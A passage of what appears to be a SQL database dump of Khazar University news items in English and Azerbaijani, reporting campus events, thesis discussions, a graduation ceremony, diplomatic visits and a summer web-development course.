discuss\r\nand disseminate the results of project and faced challenges and gain\r\nachievements within the project lifetime.</p>'),(5624,3234,'en','THE SAME team guests on the MAG TV broadcast','On May 18, 2018, THE SAME team, which consists of the students...','<p>On May 18, 2018, THE SAME team, which consists of the students of the School of Economics and Management of Khazar University, guested on the MAG (Modern Azerbaijani Youth), an AzTV broadcast which highlights the activities and achievements of the Azerbaijani youth.</p><p>The team members talked about their activities and future plans as well as the contribution of Peer to Peer: Facebook Global Digital Challenge to the team. The team, whose aim is to struggle against online hate speech, also talked about effective ways of managing media accounts as well as efficient methods of drawing large audience and appreciation of the youth.</p><p>First, Dr. Bahadir Baysal, a team leader, gave information about the establishment process of the team as well as the skills of the team members. Moreover, he emphasized marketing and other relevant skills of the team members which are of immense importance for successful participation in the competition. Then Khayala Shikhaliyeva, a team member, talked about the essence and aim of THE SAME and also noted how the first survey conducted by the team influenced their decision. Later Ruslan Osmanli, a team member, talked about EdVenture Partners company and terms of participation in Peer to Peer: Facebook Global Digital Challenge. Sinan Rzayev and Etibar Saatov, team members, informed the viewers about social media strategy as well as current and future projects of THE SAME team.</p>'),(4312,2546,'az','Dissertasiyalara verilən tələblər mövzusunda magistr tələbələrlə görüş keçirildi','2017-ci il oktyabrın 19-da Xəzər Universitetinin Magistratura, Doktorantura və Elmi İşlər bölməsinin müdiri f.ü.f.d Eldar...','<p>2017-ci il oktyabrın 19-da Xəzər Universitetinin Magistratura, Doktorantura və Elmi İşlər bölməsinin müdiri f.ü.f.d Eldar Şahgəldiyev magistr dissertasiyalarına verilən tələblər mövzusunda universitetin magistr tələbələri ilə görüş keçirdi. Təqdimatda tədqiqat işi ilə bağlı elmi məqalələr yazılmasının vacibliyi vurğulandı.</p><p>Görüşdə universitetin rektoru Dr.Hassan Niknafs, İngilis dili və ədəbiyyati departamentinin müdiri Dr.Bahman Amani, İngilis dili və ədəbiyyatı departamentinin müdir müavini Eynur Mehdiyev, İngilis dili və ədəbiyyatı departamentinin müəllimi Lalə Həmidova da iştirak edirdilər.</p>'),(3993,2329,'en','Preliminary discussion of PhD thesis','On July 12, 2017, the preliminary discussion of the thesis ‘Role of Brands in construction of National Identity’ produced by Sana Imran, a PhD student from Pakistan...','<p>On July 12, 2017, the preliminary discussion of the thesis ‘Role of Brands in construction of National Identity’ produced by Sana Imran, a PhD student from Pakistan to obtain a PhD degree in Business Organisation and Management, was held at the Department of Economics and Management, Khazar University. &nbsp;The research was conducted under the supervision of Dr. Elman Ibishov, PhD in Economics, Associate Professor, Senior Scientist of the Department of World Economy and Geo-economic Relations at the Scientific Economic Research Institute, Azerbaijan State Economic University. </p>\r\n<p>Ceyhun Mammadov, PhD in Economics, Dean of the Faculty of Economics and Management, opened the discussion and gave brief information about Sana Imran\'s research work which was followed by a study presentation made by the PhD candidate. Dr. Elman Ibishov, the research supervisor, spoke about the theoretical and practical significance of the research, emphasized the importance of researching the topic related to Azerbaijan by a foreign researcher, and positively evaluated the candidate’s work. </p>\r\n<p>During the discussions, Eldar Shahgaldiyev, Head of the Division for Graduate Studies and Research, Bahadir Baysal, Vusal Mammadrzayev and Fuat Rasulov,&nbsp; the instructors of the department gave a positive feedback on the research work overall, &nbsp;however, pointed out that there were some shortcomings as well.</p><p>At the end of the discussion, it was unanimously decided that the presented thesis can be submitted for a defence after all the mentioned shortcomings have been corrected.</p>'),(3677,2141,'en','Students Observe Cement Production Process','According to the agreement between the Department of Civil Engineering of Khazar University and Norm cement plant, students majoring in civil engineering and chemical engineering...','<p>According to\r\nthe agreement between the Department of Civil Engineering of Khazar University\r\nand Norm cement plant, students majoring in civil engineering and chemical\r\nengineering spent a day in Norm cement plant on May 4, 2017. The students had a\r\nchance to listen to lectures of the leading specialists of the plant and got acquainted\r\nwith the production process. They got thorough information about the raw\r\nmaterial used in the production process, content choice, clinker griding, and\r\nso on. </p>\r\n<p>In addition,\r\nthe students had a chance to observe the physico-chemical and\r\nphysical-mechanical&nbsp; processes in cement\r\nand concrete laboratories which meet European standards. </p>\r\n<p>Given that\r\nthe meeting was effective for both sides, an agreement was reached to&nbsp; continue the cooperation in the future as\r\nwell.&nbsp;</p>'),(3678,2143,'en','Student Union Organizes Meeting with Actor Huseyn Azizoglu','On May 4, 2017, Khazar University Student Union held a meeting with the famous video blogger and actor Huseyn Azizoglu within the framework of the plan of meeting with famous...','<p>On\r\nMay 4, 2017, Khazar University Student Union held a meeting with the famous\r\nvideo blogger and actor Huseyn Azizoglu within the framework of the plan of\r\nmeeting with famous people. The actor talked about the beginning of his career,\r\nthe ways to success and his success story.</p>\r\n<p>More\r\nthan 100 students participated at the meeting. Huseyn Azizoglu answered the students`\r\nquestions.</p>'),(3679,2147,'en','Professor Hamlet Isakhanlı at the Next Meeting of Eurasia Partnership Foundation    ','On April 5-6, 2017, Professor Hamlet Isakhanli, Founder of Khazar University, the Chairman of its Board of Directors and Truestees, participated at the next meeting of Eurasia...','<p>On April 5-6, 2017, Professor Hamlet Isakhanli, Founder of Khazar University, the Chairman of its Board of Directors and Truestees, participated at the next meeting of Eurasia&nbsp;Partnership Foundation held in Tbilisi. He is a Board Member of&nbsp; Eurasia Partnership Foundation.&nbsp; Professor Isakhanli had a number of important meetings in the event attended by Mr. Thomas Morris, USAID Deputy Mission Director; Aleksandre Jejelave, Minister&nbsp;of Education and Science of Georgia; Victor Dolidze, State Minister on European and Euro-Atlantic Integration; Jos Doumas,&nbsp; Ambassador of Netherlands to Georgia, Helena Sancho and&nbsp;Zviad Kvlividze, representatives of the Swedish Embassy;&nbsp; Sofo Kiladze, the Chair of the&nbsp;Human Rights&nbsp;and Civil Integration Committee; &nbsp;Mariam Jashi , the Chair&nbsp;of the&nbsp;Education, Science and Culture&nbsp;Committee &nbsp;and a number of other government officials, embassy representatives and parliamentarians.</p>'),(3680,2146,'en','Khazar University to Represent Azerbaijan in Aksu Festival','On May 17- 24, 2017, a delegation of Khazar University, boys’ and girls’ dance ensembles and vocalists...','<p>On\r\nMay 17- 24, 2017, a delegation of Khazar University, boys’ and girls’ dance ensembles and vocalists (a\r\ndelegation of 35 members) will represent Azerbaijan in the 40th International\r\nAksu Festival to be held in Giresun with the invitation of Governor and\r\nMunicipilaty of Giresun. Dance ensembles over the age of 18 from 21 countries have\r\nbeen invited to Aksu Festival.</p>'),(3681,2145,'en','Kastamonu University Employee to Hold Workshop at Khazar University','On May, 11, 2017, at 12 pm, Dr. Mehmet Chetin, a teacher of the School of Engineering...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On May, 11, 2017, at 12 pm, Dr.\r\nMehmet Chetin, a teacher of the School of Engineering and Architecture, Head of\r\nthe Department of Landscape Architecture at Kastamonu University will hold a lecture\r\n/ workshop on “<em>The changing of land use\r\nfor using GİS</em>” intended for students and researchers at Khazar University “Neftchiler”\r\ncampus (room 102N).</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">It should be noted that Dr.\r\nMehmet Chetin visited the Department of Geography and Environment within Erasmus\r\nStaff Training Mobility Program.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Everyone is welcome to attend.&nbsp;</p>'),(3682,2150,'az','AzərTAc Xəzər Universitetində keçirilmiş təlimdən yazdı','2017-cil il mayın 8-də Azərbaycan Dövlət İnformasiya Agentliyinin –AzərTAc-ın rəsmi internet səhifəsində cari il aprelin 13-ü və 14-də Xəzər Universitetinə Estoniyadan dəvət olunmuş...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-cil\r\nil mayın 8-də Azərbaycan Dövlət İnformasiya Agentliyinin –AzərTAc-ın rəsmi\r\ninternet səhifəsində cari il aprelin 13-ü və 14-də Xəzər Universitetinə\r\nEstoniyadan dəvət olunmuş xarici dil tədrisi mütəxəssislərinin keçirdiyi təlimlə\r\nbağlı yazı yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazını\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://azertag.az/ru/xeber/Prioritetom_Azerbaidzhanskogo_pravitelstva_yavlyaetsya_obrazovanie-1058242\">http://azertag.az/ru/xeber/Prioritetom_Azerbaidzhanskogo_pravitelstva_yavlyaetsya_obrazovanie-1058242</a>.</p>'),(3683,2151,'az','Xəzər Universiteti məzunlarının 42-ci buraxılış mərasimi ','2017-ci il mayın 7-də “Dünya” məktəbinin konfrans salonunda Xəzər Universiteti məzunlarının 42-ci buraxılış mərasimi keçirildi. Mərasimdə universitetin rəhbərliyi, professor...','<p>2017-ci il mayın 7-də “Dünya” məktəbinin konfrans\r\nsalonunda Xəzər Universiteti məzunlarının 42-ci buraxılış mərasimi&nbsp;keçirildi.\r\nMərasimdə universitetin rəhbərliyi, professor-müəllim heyəti, tələbələr,\r\nvalideynlər və qonaqlar iştirak edirdilər. Mərasim&nbsp; Azərbaycan Respublikasının Dövlət Himninin\r\nifası ilə başlandı.&nbsp;&nbsp; </p>\r\n<p>Xəzər Universitetinin rektoru Nassan Niknafs məzunları\r\ntəbrik edərək, yeni həyat yollarında onlara uğurlar arzuladı. </p>\r\n<p>Qeyd olundu ki, 26 il ərzində universiteti, bugünkü\r\nməzunlar da daxil olmaqla (94 bakalavr, 7 magistr), 3038 bakalavr, 623 magistr\r\nbitirmişdir. Onlardan 767-si fərqlənmə diplomu almışdır. </p>\r\n<p>Universitetin rəhbərliyi adından məzunlara\r\nünvanlanan məktub tədbirin aparıcıları tərəfindən oxundu.</p>\r\n<p>Mərasimdə dünyanın müxtəlif ölkələrində fəaliyyət\r\ngöstərən Xəzər Universitetinin əvvəlki məzunlarının təbrik video-çarxları\r\nnümayiş etdirildi. Daha sonra məzunlara diplomların təqdim olunması mərasimi\r\nbaşlandı. Diplomları rektor Hassan Niknafs, prorektor Məhəmməd Nuriyev, fakültə\r\ndekanları və departament müdirlərı, müəllimlər təqdim etdilər.</p>\r\n<p>Mərasimdə tələbəlik müddəti ərzində Xəzər\r\nUniversitetində könüllü fəaliyyət göstərən 4 məzun “ fəal fəaliyyətlərinə” görə\r\ntəltif olundular və&nbsp;&nbsp; sertifikatları\r\nprorektor İsaxan İsaxanlı təqdim etdi.&nbsp; Məzunlardan\r\nibarət xorun çıxışından sonra, onlar Xəzər Universitetinin andını söylədilər. Mərasimdə\r\nkeçmiş məzunlar adından Mərkəzi Bankın Təhsil və ikişaf departamentinin şöbə rəisi\r\nXumar Hüseynova, Dəmirbank ASC Baş ofisinin şöbə müdiri, Məzunlar\r\nAssosiasiyasının sədr müavini Ramal Əhmədov, Azərbaycan Respublikası Prezident\r\nAdministrasiyasının əməkdaşı Səadət Novruzova çıxış edərək bildirdilər &nbsp;ki, aldıqları təhsil, qazandıqları bilik və\r\nbacarıqlar “Xəzər”in məzunlarına&nbsp; seçdikləri\r\nsahədə uğur qazanmalarına zəmin yaradır. Onlar dövlət qurumlarında, özəl şirkətlərdə\r\nçalışır, böyük layihələrə, yeniliklərə imza atırlar, xeyli hissəsi öz özəl işlərini\r\nqururlar. </p>\r\n<p>Valideynlər adından Azadə Səmədova çıxış edərək,\r\nuniversitetin rəhbərliyinə və müəllim kollektivinə minnətdarlıq bildirdi. </p>\r\n<p>Məzunlardan Nizami Əliyev, Ayşən Bəşirova və Hüseyn\r\nQəhrəmanlı Hamlet İsaxanlının “Səni sevdim çox sadəcə” şeirinə nəzirələr söylədilər.</p>\r\n<p>Professor Hamlet İsaxanlı məzunları təbrik etmək\r\nüçün mərasimdə çıxış etdi. O, universitetdə yaradılmış əlverişli təhsil\r\nmühitindən, yalnız yüksək keyfiyyətli mütəxəssislər yox, eyni zamanda hərtərəfli\r\ninkişaf etmiş gənc nəsil yetişdirilməsindən,&nbsp; professor-müəllim heyətinin\r\ngərgin və səmərəli işindən, universitetin dünyanın aparıcı ali məktəbləri ilə hərtərəfli\r\nəlaqələrindən, maddi-texniki bazanın daim genişlənməkdə olmasından və “Xəzər”in\r\nbeynəlxalq təşkilatların reytinq cədvəllərində&nbsp;&nbsp;\r\ndaim fərqlənərək, Azərbaycan universitetləri arasında birinci yeri\r\ntutmasından, həmçinin universitetin gələcəkdə həyata keçirəcəyi tədbirlərdən ətraflı\r\nbəhs etdi.</p>\r\n<p>Mərasim &nbsp; məzun\r\nolan tələbələrin foto şəkillərindən hazırlanan video-çarxlar və slayd-şouların\r\nnümayişi və Musiqi və\r\nincəsənət departamentinin&nbsp; hazırladığı, universitetin rəqs kollektivlərinin\r\nçıxışlarından ibarət konsert proqramı ilə müşayiət olundu.</p><p>Mərasim məzunların Hamlet İsaxanlıya gül dəstələrinin\r\ntəqdim olunması və xatirə şəkillərinin çəkilməsi ilə başa çatdı.</p><p><br></p>'),(3684,2152,'az','Xəzər Universiteti EFPSA konqresinin sponsorlarından biri oldu','2017-ci il aprelin 23-dən 30-dək Xəzər Universiteti Azərbaycanda təşkil olunmuş 31-ci EFPSA Konqresinin keçirilməsinə sponsorluq edən iki universitetdən biri oldu...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il aprelin\r\n23-dən 30-dək Xəzər Universiteti Azərbaycanda təşkil\r\nolunmuş 31-ci EFPSA Konqresinin keçirilməsinə sponsorluq edən iki universitetdən\r\nbiri oldu. Konqresin digər sponsorları Türk Hava Yolları, Asan Xidmət, Mədəniyyət\r\nvə Turizm Nazirliyi, Azərbaycan Gənclər Fondu kimi böyük qurumlardır.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Məlumat üçün bildiririk ki, EFPSA – Avropada psixologiya ixtisası üzrə\r\ntəhsil alan tələbələri və gənc mütəxəssisləri birləşdirən ümumavropa təşkilatıdır.\r\nTəşkilatın hər il təşkil olunan və ən böyük tədbiri hesab olunan illik konqresinə\r\n33 ölkədən 300-dən artıq gənc psixoloq və\r\nprofessor-müəllim heyəti qatılır. Qax rayonunda təşkil olunmuş 31-ci EFPSA\r\nkonqresinin əsas mövzusu “Müasir insanlıq” adlanırdı. Bu mövzu ətrafında\r\nmüharibə və terrorların yaratdığı psixoloji mühit, mədəniyyətlərarası fərqliliklərin\r\nyaratdığı psixoloji çətinliklər, texnoloji inkişaf şəraitində insan psixikası və\r\ns. bənzər mövzular müzakirə olundu. Tədbirdə Britaniya Psixoloqlar Cəmiyyətinin\r\nvitse-prezidenti Jeymi Hager Hugs-ın, Avropa Psixoloqlar Assosiasiyasının baş\r\nkatibi Robert Xiberias-ın, Azərbaycan Respublikası Prezidenti yanında Strateji\r\nAraşdırmalar Mərkəzinin tədqiqatçısı professor Rauf Qaragözovun, Hollandiyanın\r\nUtrext Universitetinin psixologiya elmlər doktoru Art Franken-in, Moskva Dövlət\r\nUniversitetinin professoru Veronika Nurkovanın, İstanbul Şəhər Universitetinin\r\nprofessoru Ceren Acartürkün və digərlərinin mövzu ilə bağlı mühazirələri dinlənildi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəzər Universiteinin psixologiya ixtisası üzrə təhsil alan tələbələri\r\ndə konqresdə iştirak edirdilər.</p>'),(3685,2153,'az','Vurğun Əyyub “İradə Musayevanın ədəbiyyatşünas portreti”ni çəkdi','2017-cil il mayın 10-da Xəzər Universitetinin dosenti, Azərbaycan dili və ədəbiyyat departamentinin müdiri Vurğun Əyyubun Kulis.Az saytında ədəbiyyyatşünas İradə Musayeva...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-cil\r\nil mayın 10-da Xəzər Universitetinin dosenti, Azərbaycan dili və ədəbiyyat\r\ndepartamentinin müdiri Vurğun Əyyubun <strong><em>Kulis.Az</em></strong> saytında ədəbiyyyatşünas\r\nİradə Musayeva haqqında “İradə Musayevanın ədəbiyyatşünas portreti” adlı məqaləsi\r\nyayınlanmışdır. Məqalədə İ.Musayevanın“XXI əsrdən baxış: ədəbi tənqid və bədii\r\nsöz” (“Elm və təhsil” nəşriyyatı, Bakı- 2017) kitabında toplanmış məqalələri əsasında\r\nonun ədəbiyyatşünas olaraq portreti yaradılmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni\r\nbu link vasitəsilə oxumaq olar: <a href=\"http://kulis.az/news/17959\">http://kulis.az/news/17959</a>.&nbsp;</p>'),(4926,2874,'en','Meeting with French representatives within NIZAMI project','On January 31, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors...','<p>On January 31, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met Dr. Véronique Barragan-Montero and Dr. Aude Berthier (project manager), representatives of the University of Montpellier in France, within NIZAMI project (“Restructuring and Development of Doctoral Studies in Azerbaijan in line with Requirements of Higher Education Area.”). Associate Professor Irada Khalilova, Vice-rector on Research of Khazar University, and Dr. Eldar Shahgaldiyev, Head of Division of PhD and Research, also participated in the meeting.</p><p>The participants discussed activities carried out within Nizami project in Azerbaijan as well as future cooperation between Khazar University and Montpellier University.</p><p>Representatives of the University of Montpellier also met Dr. Hassan Niknafs, Rector of Khazar University.</p>'),(3694,2159,'az','Kastamonu Universitetinin əməkdaşı Xəzər Universitetində mühazirə oxudu','2017-ci il mayın 11-də Xəzər Universitetinin Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasovun təşkilatçılığı ilə coğrafiya ixtisasının tələbələri və tədqiqatçılar...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il mayın 11-də Xəzər\r\nUniversitetinin Coğrafiya və ətraf mühit departamentinin müdiri Rövşən\r\nAbbasovun təşkilatçılığı ilə coğrafiya\r\nixtisasının tələbələri və tədqiqatçılar üçün <em>“The changing of land use for using GİS</em>” mövzusunda mühazirə/ seminar\r\nkeçirildi. Mühazirəni Türkiyənin Kastamonu Universitetinin Mühəndislik və memarlıq\r\nfakültəsinin müəllimi, landşaft memarlıq departamentinin müdiri Dr. Mehmet\r\nÇetin aparırdı. GİS haqqında olan seminar mövzusu hazırda coğrafiyaçıların\r\nmarağında olduğu və önəmli bir mövzudur. Xəzər Universitetində baş tutmuş\r\nseminarda BDU-nun coğrafiya ixtisasının magistratura və İqtisad Universitetinin\r\nMBA üzrə magistratura tələbələri də iştirak edirdilər. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Seminarın sonunda Dr. Mehmet\r\nÇetin tələbələr və tədqiqatçıların suallarını cavablandırdı. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Sonda Coğrafiya və ətraf mühit\r\ndepartamentinin əməkdaşı Günay Kərimova qonağa Xəzər Universiteti adından\r\nhədiyyə təqdim etdi.</p>'),(3686,2154,'az','12 saylı məktəbin şagirdləri Xəzər Universitetində oldular','2017-ci il mayın 5-də Xəzər Universitetində “Açıq qapı” günü keçirildi. Nizami rayonu 12 saylı məktəbin yuxarı sinif şagirdləri Xəzər Universitetində keçirilən “Açıq qapı” günündə...','<p>2017-ci il mayın 5-də Xəzər Universitetində “Açıq qapı”\r\ngünü keçirildi. Nizami rayonu 12 saylı məktəbin yuxarı sinif şagirdləri Xəzər\r\nUniversitetində keçirilən “Açıq qapı” günündə universitetin fakültələri,\r\nixtisasları, laboratoriyaları, mərkəzləri ilə tanış oldular. Onlara universitet\r\nhaqqında geniş məlumat verildi və broşürlər təqdim edildi.</p><p>Xatirə şəkilləri çəkildi.</p>'),(3687,2155,'en','Summer School','Summer School','<h3>COURSE NAME: FUNDAMENTALS OF WEB DEVELOPMENT</h3><p><strong>COURSE OBJECTIVES:</strong> This course will introduce the fundamental scripting languages and technologies of the web including HTML5, CSS3, JavaScript, popular front-end library JQuery and a framework Bootstrap.</p><p><strong>PERIOD:</strong> <strong>MON 3 JULY – SAT 15 JUL, 2017</strong><br></p> <p><a href=\"http://www.khazar.org/files/summer%20school/web_design_course_A3.pdf\" style=\"font-weight:bold\">Full description...</a></p><p><a href=\"https://goo.gl/forms/iHrPlpCl8eBOOLUh1\" target=\"_blank\"><strong>APPLY NOW!</strong><strong></strong></a><strong></strong></p><h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\">COURSE NAME: ADVANCED WEB DEVELOPMENT</h3><p><strong>COURSE OBJECTIVES:</strong> This course will introduce a popular server-side programming language PHP5 (both procedural coding + object oriented programming) with MySQL database support and also XML, JSON formats, AJAX implementation.</p><p><strong>PERIOD:</strong> <strong>MON 17 JULY – SAT 28 JUL,</strong>&nbsp;<strong>2017</strong><br></p>  <p><strong><a href=\"http://www.khazar.org/files/summer%20school/web_development_course_A3.pdf\">Full description...</a></strong></p><p style=\"color:#ff0066\"><strong><a href=\"https://goo.gl/forms/iHrPlpCl8eBOOLUh1\" target=\"_blank\">APPLY NOW!</a></strong></p>'),(3688,2155,'az','Yay məktəbi','Yay məktəbi','<h3>COURSE NAME: FUNDAMENTALS OF WEB DEVELOPMENT</h3><p><strong>COURSE OBJECTIVES:</strong> This course will introduce the fundamental scripting languages and technologies of the web including HTML5, CSS3, JavaScript, popular front-end library JQuery and a framework Bootstrap.</p><p><strong>PERIOD:</strong> <strong>MON 3 JULY – SAT 15 JUL, 2017</strong><br></p> <p><a href=\"http://www.khazar.org/files/summer%20school/web_design_course_A3.pdf\" style=\"font-weight:bold\">Full description...</a></p><p><a href=\"https://goo.gl/forms/iHrPlpCl8eBOOLUh1\" target=\"_blank\"><strong>APPLY NOW!</strong><strong></strong></a><strong></strong></p><h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\">COURSE NAME: ADVANCED WEB DEVELOPMENT</h3><p><strong>COURSE OBJECTIVES:</strong> This course will introduce a popular server-side programming language PHP5 (both procedural coding + object oriented programming) with MySQL database support and also XML, JSON formats, AJAX implementation.</p><p><strong>PERIOD:</strong> <strong>MON 17 JULY – SAT 28 JUL,</strong>&nbsp;<strong>2017</strong><br></p>  <p><strong><a href=\"http://www.khazar.org/files/summer%20school/web_development_course_A3.pdf\">Full description...</a></strong></p><p style=\"color:#ff0066\"><strong><a href=\"https://goo.gl/forms/iHrPlpCl8eBOOLUh1\" target=\"_blank\">APPLY NOW!</a></strong></p>'),(3689,2156,'az','Avropa Birliyi və Azərbaycan münasibətlərinə həsr olunmuş Jan Monne konfransı','2017-ci il  mayın 10-da Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər kafedrası və Avropa Birliyinin Azərbaycandakı nümayəndəliyinin birgə təşkilatçılığı ilə Avropa...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">2017-ci\r\nil &nbsp;mayın 10-da Xəzər Universiteti Siyasi\r\nelm və beynəlxalq münasibətlər kafedrası və Avropa Birliyinin Azərbaycandakı nümayəndəliyinin\r\nbirgə təşkilatçılığı ilə Avropa Günü ərəfəsində Avropa Birliyi və Azərbaycan\r\nmünasibətlərinə həsr olunmuş Jan Monne konfransı keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı tədbir iştirakçılarını salamladı və universitetin beynəlxalq əməkdaşlığının\r\nönəmini vurğuladı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Avropa\r\nBirliyinin Azərbaycandakı nümayəndəliyinin birinci müşaviri Denis Daniilidis\r\nPrezident İlham Əliyevin 2017-ci ilin fevral ayındakı Brüssel səfərindən sonra\r\nAvropa Birliyi ilə Azərbaycanın ikitərəfli münasibətlərində irəliləyişin baş\r\nverdiyini və Yeni Hərtərəfli Saziş üzrə danışıqlar aparılacağını söylədi. O, məlumat verdi ki, danışıqlar üçün Azərbaycan\r\nhökuməti tərəfindən təqdim olunmuş ilkin sənədin layihəsi tərəflər arasında\r\nqarşılıqlı hörmət prinsiplərini əks etdirir. Denis Daniilidis Avropa Parlamenti\r\nvə Milli Məclis arasındakı parlament əməkdaşlığının bərpa olunmasınını da nəzərə\r\nçatdırdı. </p>\r\n<p>Xarici İşlər Nazirliyinin Avropa Birliyi üzrə əməkdaşlıq\r\nşöbəsinin müdiri Orxan Zeynalov təhsil və elm sahələrində ikitərəfli əməkdaşlığın\r\nperspektivlərindən söhbət açdı. O, Cənub Qaz Dəhlizi üzrə irəliləyişləri\r\nvurğuladı. Saziş çərçivəsində sektorlar üzrə əməkdaşlıq üçün Əsas Vasitəçi vəzifəsinin\r\nicraçısı kimi Orxan Zeynalov məlumat verdi ki, ilk raundu 2017-ci il aprel\r\nayının sonlarında Bakıda keçirilmiş danışıqlar konstruktiv xarakter daşımış və\r\nyeni sahələr üzrə əməkdaşlığın gücləndirilməsi üçün siyasi iradəni əks\r\netdirmişdir. </p>\r\n<p>Təhsil Nazirliyinin Elm, ali və orta ixtisas təhsili\r\nşöbəsinin aparıcı məsləhətçisi Vüsalə Qurbanova Azərbaycanda ali təhsilin beynəlmiləlləşdirilməsi\r\nüçün Avropa Birliyi&nbsp;tərəfindən göstərilən dəstəyi &nbsp;yüksək qiymətləndirdi.\r\nXəzər Universitetinin beynəlxalq əməkdaşlıq layihələrində xüsusi fəallığını qeyd\r\netdi. İxtisaslar üzrə dövlət standartlarının yenidən işlənib hazırlanması\r\nistiqamətində yeni ekspertlərin cəlb olunmasının nəzərdə tutulduğunu bildirdi. </p>\r\n<p>Siyasi elm və beynəlxalq münasibətlər kafedrasının\r\nmüdiri, Jan Monne Kürsüsü mükafatı laureatı, siyasi elmlər üzrə fəlsəfə doktoru\r\nMuxtar Hacızadə Avropa inteqrasiyasını əhatə edən fənlər və elmi işlər barədə\r\niştirakçıları məlumatlandırdı. Qeyd olundu ki, Jan Monne Avropa Seminarlar Seriyası\r\nda daxil olmaqla öz sahələrində nüfuz qazanmış ekspert, alim, tədqiqatçı və\r\nprofessorlar tərəfindən Avropa Birliyi problemlərini Azərbaycan auditoriyası ilə\r\nmüzakirə etmək üçün kafedra tərəfindən mütəmadi qaydada bir sıra tədbirlər\r\nsilsiləsi təşkil olunur. Muxtar Hacızadə, Avropa Birliyi və Azərbaycan cəmiyyətləri\r\narasında anlaşmanın təşviq olunmasının önəmini və bu istiqamətdə görülən işləri\r\nxüsusi vurğuladı. 2014-cü ildə qüvvəyə minmiş Azərbaycan Respublikası və\r\nAvropa Birliyi arasında vizaların rəsmiləşdirilməsinin sadələşdirilməsi\r\nhaqqında sazişin vacibliliyini qeyd etdi. O, Avropa Birliyinin Azərbaycanda öz nüfuzunu\r\nvə sülhpərvər niyyətlərini sistematik şəkildə artırmağın əhəmiyyətini diqqətə\r\nçatdırdı. Təəssüflə qeyd olundu ki, Avropa Birliyinin qonşuluğundakı bəzi ölkələrdən\r\nfərqli olaraq Azərbaycanda Avropa resurs və informasiya mərkəzləri yoxdur. Muxtar\r\nHacızadə daha çox təmaslara və keyfiyyətli kommunikasiyalara ehtiyac olduğunu\r\nxatırlatdı.</p><p>Konfransdan sonra\r\npolitologiya, beynəlxalq münasibətlər və avropaşünaslıq ixtisasları üzrə təhsil\r\nalan tələbələrin iştirakı ilə Trans Adriatik Boru Xətti üzrə əməkdaşlığın gərgin\r\nmüzakirə edildiyi “Avropa\r\nBirliyinin Nazirlər Şurasının simulyasiyası” təşkil olundu.&nbsp;</p>'),(3690,2157,'az','Polşa səfiri Xəzər Universitetində oldu','2017-ci il mayın 10-da Polşanın Azərbaycandakı Fövqaladə və Səlahiyyətli səfiri Marek Kalva və səfirliyin III katibi Anna Witak Xəzər Universitetində oldular. Universitetin rektoru...','<p>2017-ci il mayın 10-da Polşanın\r\nAzərbaycandakı Fövqaladə və Səlahiyyətli səfiri Marek Kalva və səfirliyin III\r\nkatibi Anna Witak Xəzər\r\nUniversitetində oldular. Universitetin rektoru Hassan Niknafs Polşa səfirini və\r\nIII katibi qəbul etdi, səfirə universitetdəki elmi fəaliyyət haqqında geniş məlumat\r\nverdi. Sonra isə polşalı diplomatlar Tarix departamentinin tələbələri ilə\r\nbirlikdə yüz il bundan öncə Azərbaycanda yaşamış və fəaliyyət göstərmiş\r\npolşalıların tarixinə həsr edilmiş dərsi dinlədilər. Dərsdə Polşanın səfiri və\r\nTarix departamentinin müəllimi Nəsiman Yaqublu çıxış etdilər və tələbələrə Azərbaycanda\r\nfəaliyyət göstərən polşalıların şanlı tarixindən danışdılar.</p>\r\n<p>Sonra Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı polşalı\r\ndiplomatları qəbul etdi. Onlara universitetin quruluş tarixindən və bu günə\r\nkimi olan fəaliyyətindən danışdı. Səfir M.Kalva Polşa ilə Azərbaycan arasında əlaqələrin\r\nyüksələn xətlə inkişaf etdiyini vurğuladı və gələcəkdə Xəzər Universiteti ilə\r\nbirlikdə hər iki dövlətin yaradılmasının yüz illiyinə həsr edilmiş elmi\r\nkonfrans keçirilməsini təklif etdi. Səfir xoş qəbul üçün universitet rəhbərliyinə\r\ntəşəkkürünü bildirdi. Görüşlərdə Polşa səfirliyinin III katibi Anna Witak və Xəzər Universitetinin İctimai əlaqələr və media 